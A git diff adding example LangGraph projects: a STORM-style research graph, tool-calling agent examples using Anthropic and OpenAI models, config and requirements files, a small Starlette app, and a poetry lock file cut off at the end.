format_conversation(interview_state) + for interview_state in state["interview_results"] + ] + ) + + updated_outline = await refine_outline_chain.ainvoke( + { + "topic": state["topic"], + "old_outline": state["outline"].as_str, + "conversations": convos, + } + ) + return {**state, "outline": updated_outline} + + +async def index_references(state: ResearchState): + all_docs = [] + for interview_state in state["interview_results"]: + reference_docs = [ + Document(page_content=v, metadata={"source": k}) + for k, v in interview_state["references"].items() + ] + all_docs.extend(reference_docs) + await vectorstore.aadd_documents(all_docs) + return state + + +async def write_sections(state: ResearchState): + outline = state["outline"] + sections = await section_writer.abatch( + [ + { + "outline": outline.as_str, + "section": section.section_title, + "topic": state["topic"], + } + for section in outline.sections + ] + ) + return { + **state, + "sections": sections, + } + + +async def write_article(state: ResearchState): + topic = state["topic"] + sections = state["sections"] + draft = "\n\n".join([section.as_str for section in sections]) + article = await writer.ainvoke({"topic": topic, "draft": draft}) + return { + **state, + "article": article, + } + + +builder_of_storm = StateGraph(ResearchState) + +nodes = [ + ("init_research", initialize_research), + ("conduct_interviews", conduct_interviews), + ("refine_outline", refine_outline), + ("index_references", index_references), + ("write_sections", write_sections), + ("write_article", write_article), +] +for i in range(len(nodes)): + name, node = nodes[i] + builder_of_storm.add_node(name, node) + if i > 0: + builder_of_storm.add_edge(nodes[i - 1][0], name) + +builder_of_storm.set_entry_point(nodes[0][0]) +builder_of_storm.set_finish_point(nodes[-1][0]) +graph = builder_of_storm.compile() diff --git a/libs/cli/examples/graphs_reqs_a/__init__.py b/libs/cli/examples/graphs_reqs_a/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/libs/cli/examples/graphs_reqs_a/graphs_submod/__init__.py b/libs/cli/examples/graphs_reqs_a/graphs_submod/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/libs/cli/examples/graphs_reqs_a/graphs_submod/agent.py b/libs/cli/examples/graphs_reqs_a/graphs_submod/agent.py new file mode 100644 index 0000000..7971b3c --- /dev/null +++ b/libs/cli/examples/graphs_reqs_a/graphs_submod/agent.py @@ -0,0 +1,99 @@ +from collections.abc import Sequence +from pathlib import Path +from typing import Annotated, Literal, TypedDict + +from langchain_anthropic import ChatAnthropic +from langchain_community.tools.tavily_search import TavilySearchResults +from langchain_core.messages import BaseMessage +from langchain_openai import ChatOpenAI +from langgraph.graph import END, StateGraph, add_messages +from langgraph.prebuilt import ToolNode +from langgraph.runtime import Runtime + +tools = [TavilySearchResults(max_results=1)] + +model_anth = ChatAnthropic(temperature=0, model_name="claude-3-sonnet-20240229") +model_oai = ChatOpenAI(temperature=0) + +model_anth = model_anth.bind_tools(tools) +model_oai = model_oai.bind_tools(tools) + +prompt = open(Path(__file__).parent.parent / "prompt.txt").read() +subprompt = open(Path(__file__).parent / "subprompt.txt").read() + + +class AgentContext(TypedDict): + model: Literal["anthropic", "openai"] + + +class AgentState(TypedDict): + messages: Annotated[Sequence[BaseMessage], add_messages] + + +# Define the function that determines whether to continue or not +def should_continue(state): + messages = state["messages"] + last_message = messages[-1] + # If there are no tool calls, then we finish + if not last_message.tool_calls: + return "end" + # Otherwise if there is, we continue + else: + return "continue" + + +# Define the function that calls the model +def call_model(state, runtime: Runtime[AgentContext]): + if runtime.context.get("model", "anthropic") == "anthropic": + model = model_anth + else: + model = model_oai + messages = state["messages"] + response = model.invoke(messages) + # We return a list, because this will get added to the existing list + return {"messages": [response]} + + +# Define the function to execute tools +tool_node = ToolNode(tools) + +# Define a new graph +workflow = StateGraph(AgentState, context_schema=AgentContext) + +# Define the two nodes we will cycle between +workflow.add_node("agent", call_model) +workflow.add_node("action", tool_node) + +# Set the entrypoint as `agent` +# This means that this node is the first one called +workflow.set_entry_point("agent") + +# We now add a conditional edge +workflow.add_conditional_edges( + # First, we define the start node. We use `agent`. + # This means these are the edges taken after the `agent` node is called. + "agent", + # Next, we pass in the function that will determine which node is called next. + should_continue, + # Finally we pass in a mapping. + # The keys are strings, and the values are other nodes. + # END is a special node marking that the graph should finish. + # What will happen is we will call `should_continue`, and then the output of that + # will be matched against the keys in this mapping. + # Based on which one it matches, that node will then be called. + { + # If `tools`, then we call the tool node. + "continue": "action", + # Otherwise we finish. + "end": END, + }, +) + +# We now add a normal edge from `tools` to `agent`. +# This means that after `tools` is called, `agent` node is called next. +workflow.add_edge("action", "agent") + +# Finally, we compile it! +# This compiles it into a LangChain Runnable, +# meaning you can use it as you would any other runnable +graph = workflow.compile() diff --git a/libs/cli/examples/graphs_reqs_a/graphs_submod/subprompt.txt b/libs/cli/examples/graphs_reqs_a/graphs_submod/subprompt.txt new file mode 100644 index 0000000..e69de29 diff --git a/libs/cli/examples/graphs_reqs_a/hello.py b/libs/cli/examples/graphs_reqs_a/hello.py new file mode 100644 index 0000000..eedc4d1 --- /dev/null +++ b/libs/cli/examples/graphs_reqs_a/hello.py @@ -0,0 +1 @@ +from graphs_reqs_a.graphs_submod.agent import graph # noqa diff --git a/libs/cli/examples/graphs_reqs_a/langgraph.json b/libs/cli/examples/graphs_reqs_a/langgraph.json new file mode 100644 index 0000000..c6215ae --- /dev/null +++ b/libs/cli/examples/graphs_reqs_a/langgraph.json @@ -0,0 +1,10 @@ +{ + "$schema": "https://langgra.ph/schema.json", + "dependencies": [ + "." + ], + "env": "../.env", + "graphs": { + "graph": "./hello.py:graph" + } +} diff --git a/libs/cli/examples/graphs_reqs_a/prompt.txt b/libs/cli/examples/graphs_reqs_a/prompt.txt new file mode 100644 index 0000000..e69de29 diff --git a/libs/cli/examples/graphs_reqs_a/requirements.txt b/libs/cli/examples/graphs_reqs_a/requirements.txt new file mode 100644 index 0000000..b3ca583 --- /dev/null +++ b/libs/cli/examples/graphs_reqs_a/requirements.txt @@ -0,0 +1,4 @@ +requests +langchain_anthropic +langchain_openai +langchain_community diff --git a/libs/cli/examples/graphs_reqs_b/graphs_submod/agent.py b/libs/cli/examples/graphs_reqs_b/graphs_submod/agent.py new file mode 100644 index 0000000..eb81a0a --- /dev/null +++ b/libs/cli/examples/graphs_reqs_b/graphs_submod/agent.py @@ -0,0 +1,100 @@ +from collections.abc import Sequence +from pathlib import Path +from typing import Annotated, Literal, TypedDict + +from langchain_anthropic import ChatAnthropic +from langchain_community.tools.tavily_search import TavilySearchResults +from langchain_core.messages import BaseMessage +from langchain_openai import ChatOpenAI +from langgraph.graph import END, StateGraph, add_messages +from langgraph.prebuilt import ToolNode +from langgraph.runtime import Runtime + +tools = [TavilySearchResults(max_results=1)] + +model_anth = ChatAnthropic(temperature=0, model_name="claude-3-sonnet-20240229") +model_oai = ChatOpenAI(temperature=0) + +model_anth = model_anth.bind_tools(tools) +model_oai = model_oai.bind_tools(tools) + +prompt = open(Path(__file__).parent.parent / "prompt.txt").read() +subprompt = open(Path(__file__).parent / "subprompt.txt").read() + + +class AgentContext(TypedDict): + model: Literal["anthropic", "openai"] + + +class AgentState(TypedDict): + messages: Annotated[Sequence[BaseMessage], add_messages] + + +# Define the function that determines whether to continue or not +def should_continue(state): + messages = state["messages"] + last_message = messages[-1] + # If there are no tool calls, then we finish + if not last_message.tool_calls: + return "end" + # Otherwise if there is, we continue + else: + return "continue" + + +# Define the function that calls the model +def call_model(state, runtime: Runtime[AgentContext]): + if runtime.context.get("model", "anthropic") == "anthropic": + model = model_anth + else: + model = model_oai + messages = state["messages"] + response = model.invoke(messages) + # We return a list, because this will get added to the existing list + return {"messages": [response]} + + +# Define the function to execute tools +tool_node = ToolNode(tools) + + +# Define a new graph +workflow = StateGraph(AgentState, context_schema=AgentContext) + +# Define the two nodes we will cycle between +workflow.add_node("agent", call_model) +workflow.add_node("action", tool_node) + +# Set the entrypoint as `agent` +# This means that this node is the first one called +workflow.set_entry_point("agent") + +# We now add a conditional edge +workflow.add_conditional_edges( + # First, we define the start node. We use `agent`. + # This means these are the edges taken after the `agent` node is called. + "agent", + # Next, we pass in the function that will determine which node is called next. + should_continue, + # Finally we pass in a mapping. + # The keys are strings, and the values are other nodes. + # END is a special node marking that the graph should finish. + # What will happen is we will call `should_continue`, and then the output of that + # will be matched against the keys in this mapping. + # Based on which one it matches, that node will then be called. + { + # If `tools`, then we call the tool node. + "continue": "action", + # Otherwise we finish. + "end": END, + }, +) + +# We now add a normal edge from `tools` to `agent`. +# This means that after `tools` is called, `agent` node is called next. +workflow.add_edge("action", "agent") + +# Finally, we compile it! +# This compiles it into a LangChain Runnable, +# meaning you can use it as you would any other runnable +graph = workflow.compile() diff --git a/libs/cli/examples/graphs_reqs_b/graphs_submod/subprompt.txt b/libs/cli/examples/graphs_reqs_b/graphs_submod/subprompt.txt new file mode 100644 index 0000000..e69de29 diff --git a/libs/cli/examples/graphs_reqs_b/hello.py b/libs/cli/examples/graphs_reqs_b/hello.py new file mode 100644 index 0000000..8943551 --- /dev/null +++ b/libs/cli/examples/graphs_reqs_b/hello.py @@ -0,0 +1,4 @@ +from graphs_submod.agent import graph # noqa +from utils.greeter import greet + +greet() diff --git a/libs/cli/examples/graphs_reqs_b/langgraph.json b/libs/cli/examples/graphs_reqs_b/langgraph.json new file mode 100644 index 0000000..c6215ae --- /dev/null +++ b/libs/cli/examples/graphs_reqs_b/langgraph.json @@ -0,0 +1,10 @@ +{ + "$schema": "https://langgra.ph/schema.json", + "dependencies": [ + "." + ], + "env": "../.env", + "graphs": { + "graph": "./hello.py:graph" + } +} diff --git a/libs/cli/examples/graphs_reqs_b/prompt.txt b/libs/cli/examples/graphs_reqs_b/prompt.txt new file mode 100644 index 0000000..e69de29 diff --git a/libs/cli/examples/graphs_reqs_b/requirements.txt b/libs/cli/examples/graphs_reqs_b/requirements.txt new file mode 100644 index 0000000..b3ca583 --- /dev/null +++ b/libs/cli/examples/graphs_reqs_b/requirements.txt @@ -0,0 +1,4 @@ +requests +langchain_anthropic +langchain_openai +langchain_community diff --git a/libs/cli/examples/graphs_reqs_b/utils/__init__.py b/libs/cli/examples/graphs_reqs_b/utils/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/libs/cli/examples/graphs_reqs_b/utils/greeter.py b/libs/cli/examples/graphs_reqs_b/utils/greeter.py new file mode 100644 index 0000000..ab178f3 --- /dev/null +++ b/libs/cli/examples/graphs_reqs_b/utils/greeter.py @@ -0,0 +1,2 @@ +def greet(): + print("Hello, world!") diff --git a/libs/cli/examples/langgraph.json b/libs/cli/examples/langgraph.json new file mode 100644 index 0000000..0d8563e --- /dev/null +++ b/libs/cli/examples/langgraph.json @@ -0,0 +1,17 @@ +{ + "pip_config_file": "./pipconf.txt", + "dependencies": [ + "langchain_community", + "langchain_anthropic", + "langchain_openai", + "wikipedia", + "scikit-learn", + "./graphs" + ], + "keep_pkg_tools": false, + "graphs": { + "agent": "./graphs/agent.py:graph", + "storm": "./graphs/storm.py:graph" + }, + "env": ".env" +} diff --git a/libs/cli/examples/my_app.py b/libs/cli/examples/my_app.py new file mode 100644 index 0000000..15bfa54 --- /dev/null +++ b/libs/cli/examples/my_app.py @@ -0,0 +1,62 @@ +from contextlib import asynccontextmanager +from contextvars import ContextVar +from typing import Any + +from starlette.applications import Starlette +from starlette.middleware.base import BaseHTTPMiddleware +from starlette.responses import JSONResponse +from starlette.routing import Route + +my_context_var: ContextVar[str] = ContextVar("my_context_var", default="") +LIFESPAN_VAL = "" +other_context_var = ContextVar("other_context_var", default="") + + +@asynccontextmanager +async def my_lifespan(app): + global LIFESPAN_VAL + LIFESPAN_VAL = "foobar-lifespan" + yield + assert LIFESPAN_VAL == "foobar-lifespan" + LIFESPAN_VAL = "" + + +class MyContextMiddleware(BaseHTTPMiddleware): + async def dispatch(self, request: Any, call_next: Any) -> Any: + token = my_context_var.set("Foobar") + try: + response = await call_next(request) + return response + finally: + my_context_var.reset(token) + + +async def custom_my_route(request): + """A great route.""" + assert my_context_var.get() == "Foobar" + assert LIFESPAN_VAL == "foobar-lifespan" + return JSONResponse({"foo": "bar"}) + + +async def runs_afakeroute(request): + """Another great route.""" + assert my_context_var.get() == "Foobar" + assert LIFESPAN_VAL == "foobar-lifespan" + return JSONResponse({"foo": "afakeroute"}) + + +async def other_middleware(request: Any, call_next: Any) -> Any: + other_context_var.set("foobar") + response = await call_next(request) + other_context_var.reset() + return response + + +app = Starlette( + middleware=[(MyContextMiddleware, {}, {})], + routes=[ + Route("/custom/my-route", custom_my_route), + Route("/runs/afakeroute", runs_afakeroute), + ], + lifespan=my_lifespan, +) diff --git a/libs/cli/examples/pipconf.txt b/libs/cli/examples/pipconf.txt new file mode 100644 index 0000000..eaeb330 --- /dev/null +++ b/libs/cli/examples/pipconf.txt @@ -0,0 +1,2 @@ +[global] +timeout = 60 diff --git a/libs/cli/examples/poetry.lock b/libs/cli/examples/poetry.lock new file mode 100644 index 0000000..d14131f --- /dev/null +++ b/libs/cli/examples/poetry.lock @@ -0,0 +1,285 @@ +# This file is automatically @generated by Poetry 2.0.0 and should not be changed by hand. + +[[package]] +name = "anyio" +version = "4.4.0" +description = "High level compatibility layer for multiple asynchronous event loop implementations" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "anyio-4.4.0-py3-none-any.whl", hash = "sha256:c1b2d8f46a8a812513012e1107cb0e68c17159a7a594208005a57dc776e1bdc7"}, + {file = "anyio-4.4.0.tar.gz", hash = "sha256:5aadc6a1bbb7cdb0bede386cac5e2940f5e2ff3aa20277e991cf028e0585ce94"}, +] + +[package.dependencies] +exceptiongroup = {version = ">=1.0.2", markers = "python_version < \"3.11\""} +idna = ">=2.8" +sniffio = ">=1.1" +typing-extensions = {version = ">=4.1", markers = "python_version < \"3.11\""} + +[package.extras] +doc = ["Sphinx (>=7)", "packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme"] +test = ["anyio[trio]", "coverage[toml] (>=7)", "exceptiongroup (>=1.2.0)", "hypothesis (>=4.0)", "psutil (>=5.9)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (>=0.17)"] +trio = ["trio (>=0.23)"] + +[[package]] +name = "certifi" +version = "2024.7.4" +description = "Python package for providing Mozilla's CA Bundle." +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "certifi-2024.7.4-py3-none-any.whl", hash = "sha256:c198e21b1289c2ab85ee4e67bb4b4ef3ead0892059901a8d5b622f24a1101e90"}, + {file = "certifi-2024.7.4.tar.gz", hash = "sha256:5a1e7645bc0ec61a09e26c36f6106dd4cf40c6db3a1fb6352b0244e7fb057c7b"}, +] + +[[package]] +name = "click" +version = "8.1.7" +description = "Composable command line interface toolkit" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "click-8.1.7-py3-none-any.whl", hash = "sha256:ae74fb96c20a0277a1d615f1e4d73c8414f5a98db8b799a7931d1582f3390c28"}, + {file = "click-8.1.7.tar.gz", hash = "sha256:ca9853ad459e787e2192211578cc907e7594e294c7ccc834310722b41b9ca6de"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + +[[package]] +name = "colorama" +version = "0.4.6" +description = "Cross-platform colored terminal text." +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +groups = ["main"] +markers = "platform_system == \"Windows\"" +files = [ + {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, + {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, +] + +[[package]] +name = "exceptiongroup" +version = "1.2.1" +description = "Backport of PEP 654 (exception groups)" +optional = false +python-versions = ">=3.7" +groups = ["main"] +markers = "python_version < \"3.11\"" +files = [ + {file = "exceptiongroup-1.2.1-py3-none-any.whl", hash = "sha256:5258b9ed329c5bbdd31a309f53cbfb0b155341807f6ff7606a1e801a891b29ad"}, + {file = "exceptiongroup-1.2.1.tar.gz", hash = "sha256:a4785e48b045528f5bfe627b6ad554ff32def154f42372786903b7abcfe1aa16"}, +] + +[package.extras] +test = ["pytest (>=6)"] + +[[package]] +name = "h11" +version = "0.16.0" +description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86"}, + {file = "h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1"}, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +description = "A minimal low-level HTTP client." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55"}, + {file = "httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8"}, +] + +[package.dependencies] +certifi = "*" +h11 = ">=0.16" + +[package.extras] +asyncio = ["anyio (>=4.0,<5.0)"] +http2 = ["h2 (>=3,<5)"] +socks = ["socksio (==1.*)"] +trio = ["trio (>=0.22.0,<1.0)"] + +[[package]] +name = "httpx" +version = "0.28.1" +description = "The next generation HTTP client." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad"}, + {file = "httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc"}, +] + +[package.dependencies] +anyio = "*" +certifi = "*" +httpcore = "==1.*" +idna = "*" + +[package.extras] +brotli = ["brotli", "brotlicffi"] +cli = ["click (==8.*)", "pygments (==2.*)", "rich (>=10,<14)"] +http2 = ["h2 (>=3,<5)"] +socks = ["socksio (==1.*)"] +zstd = ["zstandard (>=0.18.0)"] + +[[package]] +name = "httpx-sse" +version = "0.4.0" +description = "Consume Server-Sent Event (SSE) messages with HTTPX." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "httpx-sse-0.4.0.tar.gz", hash = "sha256:1e81a3a3070ce322add1d3529ed42eb5f70817f45ed6ec915ab753f961139721"}, + {file = "httpx_sse-0.4.0-py3-none-any.whl", hash = "sha256:f329af6eae57eaa2bdfd962b42524764af68075ea87370a2de920af5341e318f"}, +] + +[[package]] +name = "idna" +version = "3.7" +description = "Internationalized Domain Names in Applications (IDNA)" +optional = false +python-versions = ">=3.5" +groups = ["main"] +files = [ + {file = "idna-3.7-py3-none-any.whl", hash = "sha256:82fee1fc78add43492d3a1898bfa6d8a904cc97d8427f683ed8e798d07761aa0"}, + {file = "idna-3.7.tar.gz", hash = "sha256:028ff3aadf0609c1fd278d8ea3089299412a7a8b9bd005dd08b9f8285bcb5cfc"}, +] + +[[package]] +name = "langgraph-cli" +version = "0.1.52" +description = "CLI for interacting with LangGraph API" +optional = false +python-versions = "^3.9.0,<4.0" +groups = ["main"] +files = [] +develop = true + +[package.dependencies] +click = "^8.1.7" + +[package.source] +type = "directory" +url = ".." + +[[package]] +name = "langgraph-sdk" +version = "0.1.29" +description = "SDK for interacting with LangGraph API" +optional = false +python-versions = "^3.9.0,<4.0" +groups = ["main"] +files = [] +develop = true + +[package.dependencies] +httpx = ">=0.25.2" +httpx-sse = ">=0.4.0" +orjson = ">=3.10.1" + +[package.source] +type = "directory" +url = "../../sdk-py" + +[[package]] +name = "orjson" +version = "3.10.5" +description = "Fast, correct Python JSON library supporting dataclasses, datetimes, and numpy" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "orjson-3.10.5-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:545d493c1f560d5ccfc134803ceb8955a14c3fcb47bbb4b2fee0232646d0b932"}, + {file = "orjson-3.10.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f4324929c2dd917598212bfd554757feca3e5e0fa60da08be11b4aa8b90013c1"}, + {file = "orjson-3.10.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8c13ca5e2ddded0ce6a927ea5a9f27cae77eee4c75547b4297252cb20c4d30e6"}, + {file = "orjson-3.10.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b6c8e30adfa52c025f042a87f450a6b9ea29649d828e0fec4858ed5e6caecf63"}, + {file = "orjson-3.10.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:338fd4f071b242f26e9ca802f443edc588fa4ab60bfa81f38beaedf42eda226c"}, + {file = "orjson-3.10.5-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:6970ed7a3126cfed873c5d21ece1cd5d6f83ca6c9afb71bbae21a0b034588d96"}, + {file = "orjson-3.10.5-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:235dadefb793ad12f7fa11e98a480db1f7c6469ff9e3da5e73c7809c700d746b"}, + {file = "orjson-3.10.5-cp310-none-win32.whl", hash = "sha256:be79e2393679eda6a590638abda16d167754393f5d0850dcbca2d0c3735cebe2"}, + {file = "orjson-3.10.5-cp310-none-win_amd64.whl", hash = "sha256:c4a65310ccb5c9910c47b078ba78e2787cb3878cdded1702ac3d0da71ddc5228"}, + {file = "orjson-3.10.5-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:cdf7365063e80899ae3a697def1277c17a7df7ccfc979990a403dfe77bb54d40"}, + {file = "orjson-3.10.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6b68742c469745d0e6ca5724506858f75e2f1e5b59a4315861f9e2b1df77775a"}, + {file = "orjson-3.10.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7d10cc1b594951522e35a3463da19e899abe6ca95f3c84c69e9e901e0bd93d38"}, + {file = "orjson-3.10.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dcbe82b35d1ac43b0d84072408330fd3295c2896973112d495e7234f7e3da2e1"}, + {file = "orjson-3.10.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:10c0eb7e0c75e1e486c7563fe231b40fdd658a035ae125c6ba651ca3b07936f5"}, + {file = "orjson-3.10.5-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:53ed1c879b10de56f35daf06dbc4a0d9a5db98f6ee853c2dbd3ee9d13e6f302f"}, + {file = "orjson-3.10.5-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:099e81a5975237fda3100f918839af95f42f981447ba8f47adb7b6a3cdb078fa"}, + {file = "orjson-3.10.5-cp311-none-win32.whl", hash = "sha256:1146bf85ea37ac421594107195db8bc77104f74bc83e8ee21a2e58596bfb2f04"}, + {file = "orjson-3.10.5-cp311-none-win_amd64.whl", hash = "sha256:36a10f43c5f3a55c2f680efe07aa93ef4a342d2960dd2b1b7ea2dd764fe4a37c"}, + {file = "orjson-3.10.5-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:68f85ecae7af14a585a563ac741b0547a3f291de81cd1e20903e79f25170458f"}, + {file = "orjson-3.10.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:28afa96f496474ce60d3340fe8d9a263aa93ea01201cd2bad844c45cd21f5268"}, + {file = "orjson-3.10.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9cd684927af3e11b6e754df80b9ffafd9fb6adcaa9d3e8fdd5891be5a5cad51e"}, + {file = "orjson-3.10.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3d21b9983da032505f7050795e98b5d9eee0df903258951566ecc358f6696969"}, + {file = "orjson-3.10.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1ad1de7fef79736dde8c3554e75361ec351158a906d747bd901a52a5c9c8d24b"}, + {file = "orjson-3.10.5-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2d97531cdfe9bdd76d492e69800afd97e5930cb0da6a825646667b2c6c6c0211"}, + {file = "orjson-3.10.5-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d69858c32f09c3e1ce44b617b3ebba1aba030e777000ebdf72b0d8e365d0b2b3"}, + {file = "orjson-3.10.5-cp312-none-win32.whl", hash = "sha256:64c9cc089f127e5875901ac05e5c25aa13cfa5dbbbd9602bda51e5c611d6e3e2"}, + {file = "orjson-3.10.5-cp312-none-win_amd64.whl", hash = "sha256:b2efbd67feff8c1f7728937c0d7f6ca8c25ec81373dc8db4ef394c1d93d13dc5"}, + {file = "orjson-3.10.5-cp38-cp38-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:03b565c3b93f5d6e001db48b747d31ea3819b89abf041ee10ac6988886d18e01"}, + {file = "orjson-3.10.5-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:584c902ec19ab7928fd5add1783c909094cc53f31ac7acfada817b0847975f26"}, + {file = "orjson-3.10.5-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5a35455cc0b0b3a1eaf67224035f5388591ec72b9b6136d66b49a553ce9eb1e6"}, + {file = "orjson-3.10.5-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1670fe88b116c2745a3a30b0f099b699a02bb3482c2591514baf5433819e4f4d"}, + {file = "orjson-3.10.5-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:185c394ef45b18b9a7d8e8f333606e2e8194a50c6e3c664215aae8cf42c5385e"}, + {file = "orjson-3.10.5-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:ca0b3a94ac8d3886c9581b9f9de3ce858263865fdaa383fbc31c310b9eac07c9"}, + {file = "orjson-3.10.5-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:dfc91d4720d48e2a709e9c368d5125b4b5899dced34b5400c3837dadc7d6271b"}, + {file = "orjson-3.10.5-cp38-none-win32.whl", hash = "sha256:c05f16701ab2a4ca146d0bca950af254cb7c02f3c01fca8efbbad82d23b3d9d4"}, + {file = "orjson-3.10.5-cp38-none-win_amd64.whl", hash = "sha256:8a11d459338f96a9aa7f232ba95679fc0c7cedbd1b990d736467894210205c09"}, + {file = "orjson-3.10.5-cp39-cp39-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:85c89131d7b3218db1b24c4abecea92fd6c7f9fab87441cfc342d3acc725d807"}, + {file = "orjson-3.10.5-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fb66215277a230c456f9038d5e2d84778141643207f85336ef8d2a9da26bd7ca"}, + {file = "orjson-3.10.5-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:51bbcdea96cdefa4a9b4461e690c75ad4e33796530d182bdd5c38980202c134a"}, + {file = "orjson-3.10.5-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dbead71dbe65f959b7bd8cf91e0e11d5338033eba34c114f69078d59827ee139"}, + {file = "orjson-3.10.5-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5df58d206e78c40da118a8c14fc189207fffdcb1f21b3b4c9c0c18e839b5a214"}, + {file = "orjson-3.10.5-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:c4057c3b511bb8aef605616bd3f1f002a697c7e4da6adf095ca5b84c0fd43595"}, + {file = "orjson-3.10.5-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:b39e006b00c57125ab974362e740c14a0c6a66ff695bff44615dcf4a70ce2b86"}, + {file = "orjson-3.10.5-cp39-none-win32.whl", hash = "sha256:eded5138cc565a9d618e111c6d5c2547bbdd951114eb822f7f6309e04db0fb47"}, + {file = "orjson-3.10.5-cp39-none-win_amd64.whl", hash = "sha256:cc28e90a7cae7fcba2493953cff61da5a52950e78dc2dacfe931a317ee3d8de7"}, + {file = "orjson-3.10.5.tar.gz", hash = "sha256:7a5baef8a4284405d96c90c7c62b755e9ef1ada84c2406c24a9ebec86b89f46d"}, +] + +[[package]] +name = "sniffio" +version = "1.3.1" +description = "Sniff out which async library your code is running under" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2"}, + {file = "sniffio-1.3.1.tar.gz", hash = "sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc"}, +] + +[[package]] +name = "typing-extensions" +version = "4.12.2" +description = "Backported and Experimental Type Hints for Python 3.8+" +optional = false +python-versions = ">=3.8" +groups = ["main"] +markers = "python_version < \"3.11\"" +files = [ + {file = "typing_extensions-4.12.2-py3-none-any.whl", hash = "sha256:04e5ca0351e0f3f85c6853954072df659d0d13fac324d0072316b67d7794700d"}, + {file = "typing_extensions-4.12.2.tar.gz", hash = "sha256:1a7ead55c7e559dd4dee8856e3a88b41225abfe1ce8df57b7c13915fe121ffb8"}, +] + +[metadata] +lock-version = "2.1" +python-versions = 